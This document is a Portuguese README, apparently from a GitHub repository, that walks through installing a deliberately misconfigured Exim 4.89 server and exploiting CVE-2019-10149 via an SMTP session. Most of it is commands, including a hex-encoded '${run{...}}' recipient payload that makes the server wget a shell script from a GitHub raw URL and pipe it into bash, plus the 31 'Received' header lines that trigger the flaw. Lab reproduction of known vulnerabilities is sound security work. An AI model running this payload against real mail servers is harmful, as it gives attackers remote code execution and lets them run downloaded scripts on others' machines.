CVE-2019-10149 - Exim 4.87 < 4.91
Instruções para instalar uma versão vulnerável do Exim e sua exploração
Testado no Linux Ubuntu 16.04, Exim 4.89
Instalação do Exim
Baixe e extraia a versão 4.89 do exim
Entre na pasta extraída
Copie e modifique os arquivos de configuração necessários
-
sed -e 's,^EXIM_USER. * $,EXIM_USER=exim,' Local/Makefile src/EDITME > Local/Makefile
-
cp exim_monitor/EDITME Local/eximon.conf
Crie o usuário e grupo exim
Instale as dependências
- sudo apt-get update
- sudo apt-get install -y make build-essential libpcre3-dev libdb-dev libxt-dev libxaw7-dev
Instale o exim 4.89
Edite /usr/exim/configure para permitir relay, assim podemos explorar sem esperar 7 dias
- sudo sed -iz 's/domainlist relay_to_domains =/domainlist relay_to_domains = * /' /usr/exim/configure
- sudo sed -i '/hostlist relay_from_hosts = localhost/c\hostlist relay_from_hosts = 0.0.0.0' /usr/exim/configure
- sudo sed -i '/require verify = recipient/c#require verify = recipient' /usr/exim/configure
Execute o exim como usuário exim
- sudo -H -u exim /usr/exim/bin/exim -bd -d-receive
Criando o exploit
Converta seu comando shell para hex. Exemplo:
Tabela de exemplo:
- \t-c\ = -c
- \t= espaço
- x20 = espaço
- x7C = |
- x2F = /
- x3A = :
- x2D = -
- x3E = >
- x26 = &
- x22 = "
- x2E = .
Uso do exploit
Primeiro usamos o nc para iniciar uma conexão com o servidor.
Uma vez conectados, enviamos HELO.
- helo localhost
- (Resposta: 250 exim Hello localhost [192.168.0.168])
Em seguida, definimos o endereço do remetente como vazio.
- mail from:<>
- (Resposta: 250 OK)
Então definimos o endereço do destinatário com o payload que criamos anteriormente, inserindo o comando desejado onde estão as reticências rcpt to:${run{...}}@localhost.
- rcpt to:<${run{\x2Fbin\x2Fsh\t-c\t\x22wget\t\https\x3A\x2F\x2Fraw\x2Egithubusercontent\x2Ecom\x2Fdarsigovrustam\x2FCVE\x2D2019\x2D10149\x2Fmaster\x2FRemoteConnection\x2Esh\t-O\t-\t\x7C\tbash\x22}}@localhost>
- (Resposta: 250 Accepted)
E finalmente digitamos DATA, seguido por 31 linhas, uma linha em branco e um ponto final.
- DATA
- Received: 1
- Received: 2
- Received: 3
- Received: 4
- Received: 5
- Received: 6
- Received: 7
- Received: 8
- Received: 9
- Received: 10
- Received: 11
- Received: 12
- Received: 13
- Received: 14
- Received: 15
- Received: 16
- Received: 17
- Received: 18
- Received: 19
- Received: 20
- Received: 21
- Received: 22
- Received: 23
- Received: 24
- Received: 25
- Received: 26
- Received: 27
- Received: 28
- Received: 29
- Received: 30
- Received: 31
- .
hyim0810/cve-2019-10149
